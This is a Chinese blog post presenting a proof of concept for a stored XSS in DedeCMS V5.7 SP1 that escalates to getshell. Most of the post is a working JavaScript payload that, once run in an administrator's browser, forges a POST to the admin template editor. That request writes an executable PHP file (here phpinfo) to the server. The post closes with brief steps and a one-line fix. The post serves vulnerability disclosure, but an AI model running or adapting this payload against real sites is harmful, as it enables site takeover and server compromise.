DedeCMS-V5.7-UTF8-SP1 块存储型xss 可打管理员 getshell成功测试   注册账户,然后登陆:   DedeCMS某模块存储型xss 可打管理员 (csrf)getshell成功插图   jscode:  

function ajax(){

  

    var request = false;

  

    if(window.XMLHttpRequest) {

  

        request = new XMLHttpRequest();

  

    } else if(window.ActiveXObject) {

  

        var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

  

        for(var i=0; i<versions.length; i++) {

  

            try {

  

                request = new ActiveXObject(versions[i]);

  

            } catch(e) {}

  

        }

  

    }

  

    return request;

  

}





var _x = ajax();

  

postgo();



function postgo() {

  

    src="https://10.65.100.235/DedeCMS-V5.7-UTF8-SP1/uploads/dede/tpl.php";

  

    data="actiondo=edittag&action=savetagfile&filename=a.lib.php&content=%3C%3Fphp%0D%0Aphpinfo%28%29%3B%0D%0A%3F%3E&B1=++%E4%BF%9D+%E5%AD%98++";



    xhr_act("POST",src,data);

  

}

  

function xhr_act(_m,_s,_a){



    _x.open(_m,_s,false);



cookie = document.cookie;

    if(_m=="POST"){

_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

_x.setRequestHeader("Cookie",cookie);

}

  

    _x.send(_a);

  

    return _x.responseText;

  

}

 

        为了做测试,我们提前建立一个测试标签,标签的内容为空,如图所示:   DedeCMS某模块存储型xss 可打管理员 (csrf)getshell成功插图1   然后我们的js代码就是往a.lib.php里面写入phpinfo()       步骤操作如图所示:    
DedeCMS某模块存储型xss 可打管理员 (csrf)getshell成功插图2
DedeCMS某模块存储型xss 可打管理员 (csrf)getshell成功插图3

  最终我们去访问DedeCMS-V5.7-UTF8-SP1/uploads/include/taglib/a.lib.php,完全没有限制   直接可以看到phpinfo被执行了如图:   DedeCMS某模块存储型xss 可打管理员 (csrf)getshell成功插图4 修复方案: 对于输出的地方全部做 htmlcode转换

    上一篇: DedeCMS最新版前台SQL注射及修复 - 网站安全 - 自学

    下一篇: DedeCMS-V5.7-UTF8-SP1 sql二次注入 - 网站安全 - 自学
本博客所有文章如无特别注明均为原创。
复制或转载请以超链接形式注明转自起风了,原文地址《DedeCMS某模块存储型xss 可打管理员 (csrf)getshell成功
   

还没有人抢沙发呢~